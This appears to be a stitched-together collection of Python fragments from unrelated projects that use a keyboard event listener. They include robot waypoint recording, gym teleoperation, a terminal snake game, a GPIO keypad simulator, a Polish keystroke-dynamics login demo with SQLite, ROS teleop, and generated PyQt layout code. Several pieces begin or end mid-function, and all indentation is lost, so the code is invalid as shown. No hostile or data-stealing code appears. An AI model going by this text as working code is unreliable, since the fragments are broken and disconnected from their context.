def done_pressed(self):
self.CRNs = [
self.e1.get(), self.e2.get(), self.e3.get(), self.e4.get(), self.e5.get(),
self.e6.get(), self.e7.get(), self.e8.get(), self.e9.get(), self.e10.get()
]
if not self.listener_initialized:
self.keyboard = Controller()
listener = Listener(on_release=self.on_release, on_press=None)
listener.start()
self.listener_initialized = True
record=False
def on_release(key):
if KeyCode.from_char("q") == key:
print("Quit")
global finished
finished = True
elif KeyCode.from_char("s") == key:
global record
record = True
if __name__ == "__main__":
server=UR5RobotServer(do_handshake=False)
listener = Listener(on_release=on_release)
listener.start()
waypoints = []
print("Record waypoints by freedriving the robot and pressing 's' to save the waypoint")
print("Stop recording waypoints by pressing 'q'")
while not finished:
if record == True:
joints = server.get_joint_states()
waypoints = waypoints+joints
print("[Waypoint added]: {}".format(joints))
record=False
listener.stop()
class KeyboardControl(object):
def __init__(self, env_id, env_kwargs):
self.env = gym.make(env_id, **env_kwargs)
self.key_listener = Listener(on_press=self.on_press_callback)
self.key_listener.start()
self.action = np.zeros_like(self.env.action_space.low)
self.extension_actions = np.zeros(3)
self.rotation_actions = np.zeros(3)
self.extension_value = self.env.action_space.high[0] / 2
self.rotation_value = self.env.action_space.high[-1] / 2
self.exit = False
def on_press_callback(self, key):
# Tube 1 (inner most tube) is w s a d
# Tube 2 (outer most tube) is t g f h
# Tube 3 (outer most tube) is i k j l
try:
if key.char in ['w', 's', 'a', 'd']:
if key.char == 'w':
self.extension_actions[0] = self.extension_value
elif key.char == 's':
self.extension_actions[0] = -self.extension_value
elif key.char == 'a':
self.rotation_actions[0] = self.rotation_value
elif key.char == 'd':
self.rotation_actions[0] = -self.rotation_value
if key.char in ['t', 'g', 'f', 'h']:
if key.char == 't':
self.extension_actions[1] = self.extension_value
elif key.char == 'g':
self.extension_actions[1] = -self.extension_value
elif key.char == 'f':
self.rotation_actions[1] = self.rotation_value
elif key.char == 'h':
self.rotation_actions[1] = -self.rotation_value
if key.char in ['i', 'k', 'j', 'l']:
if key.char == 'i':
self.extension_actions[2] = self.extension_value
elif key.char == 'k':
self.extension_actions[2] = -self.extension_value
elif key.char == 'j':
self.rotation_actions[2] = self.rotation_value
elif key.char == 'l':
self.rotation_actions[2] = -self.rotation_value
except AttributeError:
if key == Key.esc:
self.exit = True
exit()
else:
self.extension_actions = np.zeros(3)
self.rotation_actions = np.zeros(3)
def run(self):
obs = self.env.reset()
while not self.exit:
self.action[:3] = self.extension_actions
self.action[3:] = self.rotation_actions
# print('action: ', self.action)
observation, reward, done, info = self.env.step(self.action)
self.extension_actions = np.zeros(3)
self.rotation_actions = np.zeros(3)
self.env.render()
if info['is_success']:
obs = self.env.reset()
self.action = np.zeros_like(self.env.action_space.low)
time.sleep(0.1)
self.env.close()
class Game:
def __init__(self):
self.board_width = 35
self.board_height = 25
self.frame_delay = NORMAL_FRAME_DELAY
self.should_exit = False
self.is_lost = False
self.key_listener = None
self.snake = Snake(
board_width=self.board_width,
board_height=self.board_height
)
self.food = Food(self.snake.head_xy)
self.drop_food()
self.attach_keyboard_events()
def deinit(self):
self.detach_keyboard_events()
flush_input()
def attach_keyboard_events(self):
self.key_listener = Listener(
on_press=on_press(self),
on_release=on_release(self)
)
self.key_listener.start()
def detach_keyboard_events(self):
self.key_listener.stop()
def run(self):
while not self.should_exit:
self.render_board()
if self.is_snake_body(self.snake.head_xy[0], self.snake.head_xy[1]):
self.should_exit = self.is_lost = True
else:
sleep(self.frame_delay)
self.move_snake()
self.deinit()
def render_board(self):
clear_term()
for y in range(self.board_height):
for x in range(self.board_width):
if self.is_wall(x, y):
self.draw_wall(x, y)
continue
if self.is_snake_head(x, y):
print(self.snake.color + self.snake.head_char,
end=colorama.Style.RESET_ALL)
elif self.is_snake_body(x, y):
print(self.snake.color + self.snake.body_char,
end=colorama.Style.RESET_ALL)
elif self.is_food(x, y):
print(self.food.color + self.food.char,
end=colorama.Style.RESET_ALL)
else:
print(' ', end='')
print(' ', end='')
print()
print(f"🃟 <Snake Len: {len(self.snake.body_xy) + 1}> - ", end='')
print(
f"<Head XY: {{{self.snake.head_xy[0]}, {self.snake.head_xy[1]}}}> - ",
end=''
)
print(f"<Food XY: {{{self.food.xy[0]}, {self.food.xy[1]}}}> 🃟")
def draw_wall(self, x, y):
if self.is_top_wall(y):
if self.is_left_wall(x):
print(' ', end='╔')
elif self.is_right_wall(x):
print('╗', end=' ')
else:
print('═', end='═')
elif self.is_bottom_wall(y):
if self.is_left_wall(x):
print(' ', end='╚')
elif self.is_right_wall(x):
print('╝', end=' ')
else:
print('═', end='═')
elif self.is_left_wall(x):
print(' ', end='║')
elif self.is_right_wall(x):
print('║', end=' ')
def is_top_wall(self, y):
return not y
def is_left_wall(self, x):
return not x
def is_bottom_wall(self, y):
return y == self.board_height - 1
def is_right_wall(self, x):
return x == self.board_width - 1
def is_wall(self, x, y):
return self.is_top_wall(y) or \
self.is_left_wall(x) or \
self.is_bottom_wall(y) or \
self.is_right_wall(x)
def is_snake_head(self, x, y):
return [x, y] == self.snake.head_xy
def is_snake_body(self, x, y):
return [x, y] in self.snake.body_xy
def is_food(self, x, y):
return [x, y] == self.food.xy
def move_snake(self):
last_head_xy = self.snake.head_xy[:]
if self.snake.move_dir == 'up':
self.snake.head_xy[1] -= 1
elif self.snake.move_dir == 'down':
self.snake.head_xy[1] += 1
elif self.snake.move_dir == 'left':
self.snake.head_xy[0] -= 1
elif self.snake.move_dir == 'right':
self.snake.head_xy[0] += 1
if self.is_top_wall(self.snake.head_xy[1]):
self.snake.head_xy[1] = self.board_height - 2
elif self.is_left_wall(self.snake.head_xy[0]):
self.snake.head_xy[0] = self.board_width - 2
elif self.is_bottom_wall(self.snake.head_xy[1]):
self.snake.head_xy[1] = 1
elif self.is_right_wall(self.snake.head_xy[0]):
self.snake.head_xy[0] = 1
self.snake.body_xy.append(last_head_xy)
if self.is_food(self.snake.head_xy[0], self.snake.head_xy[1]):
self.drop_food()
else:
self.snake.body_xy.remove(self.snake.body_xy[0])
def drop_food(self):
food_xy = self.food.xy
while self.is_snake_head(food_xy[0], food_xy[1]) or \
self.is_snake_body(food_xy[0], food_xy[1]):
food_xy[0] = int(uniform(1, self.board_width - 2))
food_xy[1] = int(uniform(1, self.board_height - 2))
self.food = Food(food_xy)
def speed_up(self):
self.frame_delay = SPEED_FRAME_DELAY
def slow_down(self):
self.frame_delay = NORMAL_FRAME_DELAY
class GPIOSimulator:
""" Simulate Raspberry Pi GPIO for Project 5 """
def __init__(self):
# pin modes
self.IN = 0
self.OUT = 1
self.__NO_SETUP = -1
# pin states
self.LOW = 0
self.HIGH = 1
self.__NO_SIGNAL = -1
# led states
self.OFF = 0
self.ON = 1
# private members
self.__key_coord = {
'1': (0, 0),
'2': (0, 1),
'3': (0, 2),
'4': (1, 0),
'5': (1, 1),
'6': (1, 2),
'7': (2, 0),
'8': (2, 1),
'9': (2, 2),
'*': (3, 0),
'0': (3, 1),
'#': (3, 2)
}
self.__valid_keys = self.__key_coord.keys()
self.__pin_modes = [self.__NO_SETUP] * len(valid_pins)
self.__pin_states = [self.__NO_SIGNAL] * len(valid_pins)
self.__led_states = [self.OFF] * N_LEDS
self.__key_states = [False] * len(self.__key_coord)
self.__listener = Listener(on_press=self.__on_press,
on_release=self.__on_release)
self.__listener.start()
def setup(self, pin, mode, state=None):
""" setup the initial mode and state of a specific pin """
if state is None: # set the default state to self.LOW
state = self.LOW
assert pin in valid_pins, "Invalid pin!"
assert mode in {self.IN, self.OUT}, "Invalid pin mode!"
self.__pin_modes[pin] = mode
assert state in {self.LOW, self.HIGH}, "'Invalid pin state!"
self.__pin_states[pin] = state
def cleanup(self):
""" reset GPIO, i.e., clear mode and state of each pin """
for pin in valid_pins:
self.__pin_modes[pin] = self.__NO_SETUP
self.__pin_states[pin] = self.__NO_SIGNAL
def input(self, pin):
""" Carry out hardware simulation and return the state of an input pin """
assert pin in valid_pins, "Invalid input pin"
assert self.__pin_modes[
pin] == self.IN, "Pin{} is not in input mode!".format(pin)
if pin in keypad_pins:
self.__update_keypad_pin_states()
return self.__pin_states[pin]
def output(self, pin, state):
""" set the state to an output pin, and carry out hardware simulation """
assert pin in valid_pins, "Invalid output pin"
assert self.__pin_modes[
pin] == self.OUT, "Pin{} is not in output mode!".format(pin)
if pin in keypad_pins:
self.__pin_states[pin] = state
else:
self.__pin_states[pin] = state
self.__update_led_states()
def __update_keypad_pin_states(self):
"""
internal function, called by GPIO.input
Update the states of the keypad input pins
"""
# reset all keypad pins whose mode is GPIO.IN to GPIO.LOW
for pin in keypad_pins:
if self.__pin_modes[pin] == self.IN:
self.__pin_states[pin] = self.LOW
# if there is at least a True in the key states
if True in self.__key_states:
# find the first True
pressed_key_index = self.__key_states.index(True)
# retrieve the coordinates of the pressed
pressed_row, pressed_col = list(
self.__key_coord.values())[pressed_key_index]
# get the corresponding pins
row_pin = pressed_row + PIN_KEYPAD_ROW_0
col_pin = pressed_col + PIN_KEYPAD_COL_0
# set the input pin state to True according to the connected lines
# it could be row_pin IN and col_pin OUT
# or row_pin OUT and col_pin IN
if self.__pin_modes[row_pin] == self.OUT and \
self.__pin_states[row_pin] == self.HIGH and \
self.__pin_modes[col_pin] == self.IN:
self.__pin_states[col_pin] = self.HIGH
elif self.__pin_modes[col_pin] == self.OUT and \
self.__pin_states[col_pin] == self.HIGH and \
self.__pin_modes[row_pin] == self.IN:
self.__pin_states[row_pin] = self.HIGH
def __on_press(self, key):
""" The callback function for a key pressing event """
# We handle only valid keypad keys, while neglecting all others
# still allowing Ctrl+C to quit
if hasattr(key, 'char') and key.char in self.__valid_keys:
# reset the key states
self.__key_states = [False] * len(self.__key_coord)
# set the pressed key's state to True
index = list(self.__key_coord.keys()).index(key.char)
self.__key_states[index] = True
def __on_release(self, key):
""" The callback function for any key releasing event """
# For simplicity, we reset the key states whenever a key is released
self.__key_states = [False] * len(self.__key_coord)
def __update_led_states(self):
"""
internal function, called by GPIO.output
set self.__led_states according to the CharliePlexing circuit, charlieplexing pin modes and states
"""
valid_modes = [[self.OUT, self.OUT, self.IN],
[self.IN, self.OUT, self.OUT],
[self.OUT, self.IN, self.OUT]]
cp_pin_modes = self.__pin_modes[
PIN_CHARLIEPLEXING_0:PIN_CHARLIEPLEXING_2 + 1]
if cp_pin_modes in valid_modes:
group_index = valid_modes.index(cp_pin_modes)
else:
return
out_position = [i for i, v in enumerate(cp_pin_modes) if v == self.OUT]
if self.__pin_states[out_position[0]] == self.HIGH and \
self.__pin_states[out_position[1]] == self.LOW:
index_in_group = 0
elif self.__pin_states[out_position[0]] == self.LOW and \
self.__pin_states[out_position[1]] == self.HIGH:
index_in_group = 1
else:
return
led_index = group_index * 2 + index_in_group
self.__led_states[led_index] = self.ON
def show_leds_states(self):
""" Show the states of the six LEDs """
self.__update_led_states()
state_strs = [
'OFF', colorama.Fore.RED + 'ON' + colorama.Fore.RESET + ' '
]
msg = 'LEDs['
for i in range(N_LEDS):
comma = '' if i == 0 else ','
msg += "%s %d: %s" % (comma, i, state_strs[self.__led_states[i]])
msg += ']'
sys.stdout.write("\r" + msg)
sys.stdout.flush()
#print(msg, end="\r", flush=True)
self.__led_states = [self.OFF] * N_LEDS
class Keyboard(QWidget):
def __init__(self):
super(Keyboard, self).__init__()
self.loadUi()
self.mainWin = self.children()[0]
self.mainWin.pushButton.clicked.connect(self.addNewUser)
self.mainWin.pushButton_3.clicked.connect(self.login)
self.mainWin.pushButton_2.clicked.connect(self.endOfWritting)
self.mainWin.pushButton_4.clicked.connect(self.resetAll)
self.probableRatio = [17, 10, 5, 15, 4, 4, 1, 1, 1, 2]
self.mode = ""
def resetParameters(self):
"""
reset user parameters
"""
self.hold = False
self.start_time_release = 0
self.intervals_beetwen_keystrokes = []
self.intervals_beetwen_press_release = []
self.symbols = 0
self.time_of_identification = 0
self.time_correction = 0
self.correction_start = True
self.words = 0
self.losses_from_correction = []
self.deleted_keys = 0
self.deleted_groups = 0
self.max_without_correction = 0
self.listener = Listener(on_press=self.on_press,
on_release=self.on_release)
def resetAll(self):
"""
clear the text of all textBoxes
"""
self.resetParameters()
self.mainWin.plainTextEdit.clear()
self.mainWin.textEdit.clear()
self.mainWin.label_2.setText(
'Witaj! Podaj nazwę użytkownika i wybierz zaloguj lub nowy użytkownik'
)
self.mainWin.label_3.setText('Zgodność XX% z użytkownik YYYYYY.')
def loadUi(self):
"""
load GUI
"""
loader = QUiLoader()
path = os.path.join(os.path.dirname(__file__), "form.ui")
ui_file = QFile(path)
ui_file.open(QFile.ReadOnly)
loader.load(ui_file, self)
ui_file.close()
def login(self):
"""
log in to the system
"""
self.mode = 'log'
self.resetParameters()
used = True
records = self.selectFromDB()
for row in records:
if row[0] == self.mainWin.textEdit.toPlainText():
used = False
break
if (self.mainWin.textEdit.toPlainText() != "" and used == False):
self.mainWin.label.setText(
"W Szczebrzeszynie chrząszcz brzmi w trzcinie. \nI Szczebrzeszyn z tego słynie."
)
self.mainWin.plainTextEdit.clear()
self.mainWin.label_2.setText(
"Przepisz tekst i zatwierdź przyciskiem")
self.nick = self.mainWin.textEdit.toPlainText()
self.listener.start()
elif (used == True):
self.mainWin.label_2.setText("Użytkownik nie istnieje")
def addNewUser(self):
"""
measurement of parameters for a new user
"""
self.mode = 'new'
used = False
records = self.selectFromDB()
for row in records:
if row[0] == self.mainWin.textEdit.toPlainText():
used = True
break
if (self.mainWin.textEdit.toPlainText() != "" and used == False):
self.resetParameters()
self.mainWin.label.setText(
"W Szczebrzeszynie chrząszcz brzmi w trzcinie. \nI Szczebrzeszyn z tego słynie."
)
self.mainWin.plainTextEdit.clear()
self.mainWin.label_2.setText(
"Przepisz tekst i zatwierdź przyciskiem lub kliknij ESC")
self.nick = self.mainWin.textEdit.toPlainText()
self.listener.start()
elif (used == True):
self.mainWin.label_2.setText("Nazwa użytkownika jest zajęta")
elif (self.mainWin.textEdit.toPlainText() == ""):
self.mainWin.label_2.setText("Podaj nazwę użytkownika")
def on_press(self, key):
"""
listener - measurement of parameters
"""
self.time_of_identification
if self.time_of_identification == 0:
self.time_of_identification = time.time()
self.hold
if self.hold != True: # checking holding the key
print('{0} pressed'.format(key))
global start_time_press
start_time_press = time.time()
if self.start_time_release != 0:
self.intervals_beetwen_keystrokes.append(
time.time() - self.start_time_release)
self.symbols
self.symbols = self.symbols + 1
self.correction_start
self.time_correction
self.losses_from_correction
self.deleted_keys
self.deleted_groups
self.max_without_correction
if key != Key.backspace:
self.max_without_correction = 1 + self.max_without_correction
if key == Key.backspace:
self.deleted_keys = 1 + self.deleted_keys
if key == Key.backspace and self.correction_start == True:
self.correction_start = True
if key == Key.backspace and self.correction_start == True:
self.time_correction = time.time()
self.correction_start = False
if self.correction_start == False and key != Key.backspace:
self.losses_from_correction.append(time.time() -
self.time_correction)
self.correction_start = True
self.deleted_groups = self.deleted_groups + 1
self.hold = True
def on_release(self, key):
"""
listener - measurement of parameters
"""
print('{0} release'.format(key))
self.hold
self.hold = False
self.start_time_release
self.start_time_release = time.time()
self.intervals_beetwen_press_release.append(time.time() -
start_time_press)
if key == Key.esc:
self.endOfWritting()
return False
if key == Key.space:
self.words
self.words = self.words + 1
def endOfWritting(self):
"""
complete measure
"""
if self.mode == 'new':
self.listener.stop()
self.time_of_identification
self.time_of_identification = time.time(
) - self.time_of_identification
self.insertIntoDB()
if self.mode == 'log':
self.listener.stop()
self.time_of_identification
self.time_of_identification = time.time(
) - self.time_of_identification
con = sqlite3.connect('measurements.db')
con.row_factory = sqlite3.Row
cur = con.cursor()
rekord = cur.execute("SELECT * FROM person WHERE login='******'")
for row in rekord:
if row[0] == self.nick:
ide = self.testLoginSucess(row)
if ide > 80:
self.mainWin.label_3.setText(
'Zgodność ' + str(round(ide, 2)) +
'% z użytkownik ' + self.nick +
'. Identyfikacja poprawna.')
else:
self.mainWin.label_3.setText(
'Zgodność ' + str(round(ide, 2)) +
'% z użytkownik ' + self.nick +
'. Identyfikacja nieprawidłowa.')
con.commit()
cur.close()
def insertIntoDB(self):
"""
insert into database - measurements.db
"""
minPause = min(self.intervals_beetwen_keystrokes)
maxPause = max(self.intervals_beetwen_keystrokes)
averagePause = mean(self.intervals_beetwen_keystrokes)
averageHold = mean(self.intervals_beetwen_press_release)
symbolPerMinute = self.symbols / self.time_of_identification * 60
wordsPerMinute = self.words / self.time_of_identification * 60
lossesFromCorrection = sum(self.losses_from_correction)
deletedKeys = self.deleted_keys
deletedGroups = self.deleted_groups
maxWithoutCorrection = self.max_without_correction
con = sqlite3.connect('measurements.db')
con.row_factory = sqlite3.Row
cur = con.cursor()
cur.execute(
'INSERT INTO person VALUES(?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?);',
(self.nick, minPause, maxPause, averagePause, averageHold,
symbolPerMinute, wordsPerMinute, lossesFromCorrection,
deletedKeys, deletedGroups, maxWithoutCorrection))
con.commit()
cur.close()
self.mainWin.label_2.setText("Dodano Nowego użytkownika !")
def testLoginSucess(self, dataFromBase):
"""
calculation of the similarity coefficient
:return: float probableResult/probableRatioSum: similarity coefficient
"""
dataFromLog = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
dataFromLog[1] = min(self.intervals_beetwen_keystrokes)
dataFromLog[2] = max(self.intervals_beetwen_keystrokes)
dataFromLog[3] = mean(self.intervals_beetwen_keystrokes)
dataFromLog[4] = mean(self.intervals_beetwen_press_release)
dataFromLog[5] = self.symbols / self.time_of_identification * 60
dataFromLog[6] = self.words / self.time_of_identification * 60
dataFromLog[7] = sum(self.losses_from_correction)
dataFromLog[8] = self.deleted_keys
dataFromLog[9] = self.deleted_groups
dataFromLog[10] = self.max_without_correction
probable = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
for key in range(0, len(dataFromLog)):
if key != 0:
if dataFromLog[key] == 0 and dataFromBase[key] == 0:
probable[key - 1] = 1
elif dataFromLog[key] == 0 or dataFromBase[key] == 0:
if dataFromLog[key] == 1 or dataFromBase[key] == 1:
probable[key - 1] = 0.5
elif dataFromLog[key] == 2 or dataFromBase[key] == 2:
probable[key - 1] = 0.25
elif dataFromLog[key] == 3 or dataFromBase[key] == 3:
probable[key - 1] = 0.1
else:
probable[key - 1] = 0
else:
if dataFromLog[key] < dataFromBase[key]:
probable[key - 1] = (dataFromLog[key] /
dataFromBase[key])
else:
probable[key - 1] = (dataFromBase[key] /
dataFromLog[key])
probable2Chart = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
probableResult = 0
probableRatioSum = 0
probable[0] = math.sqrt(probable[0])
probable[1] = math.sqrt(probable[1])
probable[2] = math.sqrt(probable[2])
probable[5] = math.sqrt(probable[5])
for key in range(0, len(probable)):
probable2Chart[key] = probable[key]
if probable2Chart[key] > 0.7:
probable2Chart[key] = probable2Chart[key] + \
probable2Chart[key] * (1-probable2Chart[key])
else:
probable2Chart[key] = probable2Chart[key] - \
probable2Chart[key] * (1-probable2Chart[key])
probable2Chart[key] = probable2Chart[key] * 100
probableResult += probable2Chart[key] * self.probableRatio[key]
probableRatioSum += self.probableRatio[key]
wector = [
'minPause', 'maxPause', 'averagePause', 'averageHold',
'symbolPerMinut', 'wordsPerMinute', 'lossesFromCorrection',
'deletedKeys', 'deletedGroups', 'maxWithoutCorrection'
]
fig, ax = plt.subplots(figsize=(50, 25))
# Set tick font size
for label in (ax.get_xticklabels() + ax.get_yticklabels()):
label.set_fontsize(10)
ax.bar(wector, probable2Chart)
plt.ylabel('Podobieństwo [%]', fontsize=15)
plt.show()
return probableResult / probableRatioSum
def selectFromDB(self):
"""
Read all records from database
:return: rows: records
"""
con = sqlite3.connect('measurements.db')
con.row_factory = sqlite3.Row
cur = con.cursor()
cur.execute('SELECT * FROM person;')
rows = cur.fetchall()
cur.close()
return rows
ard.write(b'S')
if key.char == '-' or key.char == '=':
ard.write(b'S')
if key.char == 'w':
StopLinear()
if key.char == 's':
global back
back = False
StopLinear()
if key.char == 'a' or key.char == 'd':
StopAngular()
listen = Listener(on_press=on_press, on_release=on_release)
listen.start()
while not rospy.is_shutdown():
led1.publish(3) # color: 0 - 3
time.sleep(1)
led1.publish(1) # color: 0 - 3
time.sleep(1)
""" for x in range(3):
move_cmd.linear.x = 0.1
cmd_vel.publish(move_cmd)
time.sleep(0.5)
for x in range(3):
move_cmd.linear.x = -0.1
cmd_vel.publish(move_cmd)
time.sleep(0.5)
"""
def setupUi(self, MainWindow):
MainWindow.setObjectName("MainWindow")
MainWindow.resize(299, 613)
self.centralwidget = QtWidgets.QWidget(MainWindow)
self.centralwidget.setObjectName("centralwidget")
self.verticalLayoutWidget = QtWidgets.QWidget(self.centralwidget)
self.verticalLayoutWidget.setGeometry(QtCore.QRect(0, 0, 300, 581))
self.verticalLayoutWidget.setObjectName("verticalLayoutWidget")
self.verticalLayout = QtWidgets.QVBoxLayout(self.verticalLayoutWidget)
self.verticalLayout.setContentsMargins(20, 20, 20, 20)
self.verticalLayout.setObjectName("verticalLayout")
self.title = QtWidgets.QLabel(self.verticalLayoutWidget)
self.title.setStyleSheet("font-weight:bold;")
self.title.setObjectName("title")
self.verticalLayout.addWidget(
self.title, 0, QtCore.Qt.AlignHCenter | QtCore.Qt.AlignVCenter)
spacerItem = QtWidgets.QSpacerItem(20, 40,
QtWidgets.QSizePolicy.Minimum,
QtWidgets.QSizePolicy.Expanding)
self.verticalLayout.addItem(spacerItem)
self.urlTextBox = QtWidgets.QLineEdit(self.verticalLayoutWidget)
self.urlTextBox.setText("")
self.urlTextBox.setObjectName("urlTextBox")
self.verticalLayout.addWidget(self.urlTextBox)
spacerItem1 = QtWidgets.QSpacerItem(20, 40,
QtWidgets.QSizePolicy.Minimum,
QtWidgets.QSizePolicy.Expanding)
self.verticalLayout.addItem(spacerItem1)
self.appLabel = QtWidgets.QLabel(self.verticalLayoutWidget)
self.appLabel.setStyleSheet("")
self.appLabel.setObjectName("appLabel")
self.verticalLayout.addWidget(self.appLabel)
self.appBox = QtWidgets.QComboBox(self.verticalLayoutWidget)
self.appBox.setObjectName("appBox")
self.appBox.addItem("")
self.appBox.addItem("")
self.appBox.addItem("")
self.verticalLayout.addWidget(self.appBox)
spacerItem2 = QtWidgets.QSpacerItem(20, 40,
QtWidgets.QSizePolicy.Minimum,
QtWidgets.QSizePolicy.Expanding)
self.verticalLayout.addItem(spacerItem2)
self.speedLabel = QtWidgets.QLabel(self.verticalLayoutWidget)
self.speedLabel.setObjectName("speedLabel")
self.verticalLayout.addWidget(self.speedLabel)
self.speedSlider = QtWidgets.QSlider(self.verticalLayoutWidget)
self.speedSlider.setMinimum(1)
self.speedSlider.setMaximum(4)
self.speedSlider.setProperty("value", 3)
self.speedSlider.setOrientation(QtCore.Qt.Horizontal)
self.speedSlider.setObjectName("speedSlider")
self.verticalLayout.addWidget(self.speedSlider)
spacerItem3 = QtWidgets.QSpacerItem(20, 40,
QtWidgets.QSizePolicy.Minimum,
QtWidgets.QSizePolicy.Expanding)
self.verticalLayout.addItem(spacerItem3)
self.skippedPixelsLabel = QtWidgets.QLabel(self.verticalLayoutWidget)
self.skippedPixelsLabel.setObjectName("skippedPixelsLabel")
self.verticalLayout.addWidget(self.skippedPixelsLabel)
self.label_4 = QtWidgets.QLabel(self.verticalLayoutWidget)
self.label_4.setStyleSheet("font-size: 10px;")
self.label_4.setObjectName("label_4")
self.verticalLayout.addWidget(self.label_4)
self.skippedPixelSlider = QtWidgets.QSlider(self.verticalLayoutWidget)
self.skippedPixelSlider.setMinimum(1)
self.skippedPixelSlider.setMaximum(12)
self.skippedPixelSlider.setSingleStep(1)
self.skippedPixelSlider.setProperty("value", 5)
self.skippedPixelSlider.setOrientation(QtCore.Qt.Horizontal)
self.skippedPixelSlider.setObjectName("skippedPixelSlider")
self.verticalLayout.addWidget(self.skippedPixelSlider)
spacerItem4 = QtWidgets.QSpacerItem(20, 40,
QtWidgets.QSizePolicy.Minimum,
QtWidgets.QSizePolicy.Expanding)
self.verticalLayout.addItem(spacerItem4)
self.horizontalLayout = QtWidgets.QHBoxLayout()
self.horizontalLayout.setObjectName("horizontalLayout")
self.ignorePixelBox = QtWidgets.QCheckBox(self.verticalLayoutWidget)
self.ignorePixelBox.setObjectName("ignorePixelBox")
self.horizontalLayout.addWidget(self.ignorePixelBox, 0,
QtCore.Qt.AlignHCenter)
self.ditherBox = QtWidgets.QCheckBox(self.verticalLayoutWidget)
self.ditherBox.setObjectName("ditherBox")
self.horizontalLayout.addWidget(self.ditherBox, 0,
QtCore.Qt.AlignHCenter)
self.verticalLayout.addLayout(self.horizontalLayout)
spacerItem5 = QtWidgets.QSpacerItem(20, 40,
QtWidgets.QSizePolicy.Minimum,
QtWidgets.QSizePolicy.Expanding)
self.verticalLayout.addItem(spacerItem5)
self.coordinateButton = QtWidgets.QPushButton(
self.verticalLayoutWidget)
self.coordinateButton.setObjectName("coordinateButton")
self.verticalLayout.addWidget(self.coordinateButton)
self.MouseCoordinateLabel = QtWidgets.QLabel(self.verticalLayoutWidget)
self.verticalLayout.addWidget(self.MouseCoordinateLabel, 0,
QtCore.Qt.AlignHCenter)
spacerItem6 = QtWidgets.QSpacerItem(20, 40,
QtWidgets.QSizePolicy.Minimum,
QtWidgets.QSizePolicy.Expanding)
self.verticalLayout.addItem(spacerItem6)
self.setBoundsButton = QtWidgets.QPushButton(self.verticalLayoutWidget)
self.setBoundsButton.setObjectName("setBoundsButton")
self.verticalLayout.addWidget(self.setBoundsButton)
self.widthLabel = QtWidgets.QLabel(self.verticalLayoutWidget)
self.widthLabel.setObjectName("widthLabel")
self.verticalLayout.addWidget(self.widthLabel, 0,
QtCore.Qt.AlignHCenter)
spacerItem7 = QtWidgets.QSpacerItem(20, 40,
QtWidgets.QSizePolicy.Minimum,
QtWidgets.QSizePolicy.Expanding)
self.verticalLayout.addItem(spacerItem7)
self.drawButton = QtWidgets.QPushButton(self.verticalLayoutWidget)
palette = QtGui.QPalette()
brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.WindowText,
brush)
gradient = QtGui.QRadialGradient(0.5, 0.5, 0.5, 0.5, 0.5)
gradient.setSpread(QtGui.QGradient.PadSpread)
gradient.setCoordinateMode(QtGui.QGradient.ObjectBoundingMode)
gradient.setColorAt(0.0, QtGui.QColor(0, 134, 22))
gradient.setColorAt(1.0, QtGui.QColor(0, 74, 26))
brush = QtGui.QBrush(gradient)
palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Button, brush)
brush = QtGui.QBrush(QtGui.QColor(0, 255, 0))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Light, brush)
brush = QtGui.QBrush(QtGui.QColor(0, 212, 0))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Midlight, brush)
brush = QtGui.QBrush(QtGui.QColor(0, 85, 0))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Dark, brush)
brush = QtGui.QBrush(QtGui.QColor(0, 113, 0))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Mid, brush)
brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Text, brush)
brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.BrightText,
brush)
brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.ButtonText,
brush)
gradient = QtGui.QRadialGradient(0.5, 0.5, 0.5, 0.5, 0.5)
gradient.setSpread(QtGui.QGradient.PadSpread)
gradient.setCoordinateMode(QtGui.QGradient.ObjectBoundingMode)
gradient.setColorAt(0.0, QtGui.QColor(0, 134, 22))
gradient.setColorAt(1.0, QtGui.QColor(0, 74, 26))
brush = QtGui.QBrush(gradient)
palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Base, brush)
gradient = QtGui.QRadialGradient(0.5, 0.5, 0.5, 0.5, 0.5)
gradient.setSpread(QtGui.QGradient.PadSpread)
gradient.setCoordinateMode(QtGui.QGradient.ObjectBoundingMode)
gradient.setColorAt(0.0, QtGui.QColor(0, 134, 22))
gradient.setColorAt(1.0, QtGui.QColor(0, 74, 26))
brush = QtGui.QBrush(gradient)
palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Window, brush)
brush = QtGui.QBrush(QtGui.QColor(0, 0, 0))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Shadow, brush)
brush = QtGui.QBrush(QtGui.QColor(127, 212, 127))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.AlternateBase,
brush)
brush = QtGui.QBrush(QtGui.QColor(255, 255, 220))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.ToolTipBase,
brush)
brush = QtGui.QBrush(QtGui.QColor(0, 0, 0))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.ToolTipText,
brush)
brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 128))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.PlaceholderText,
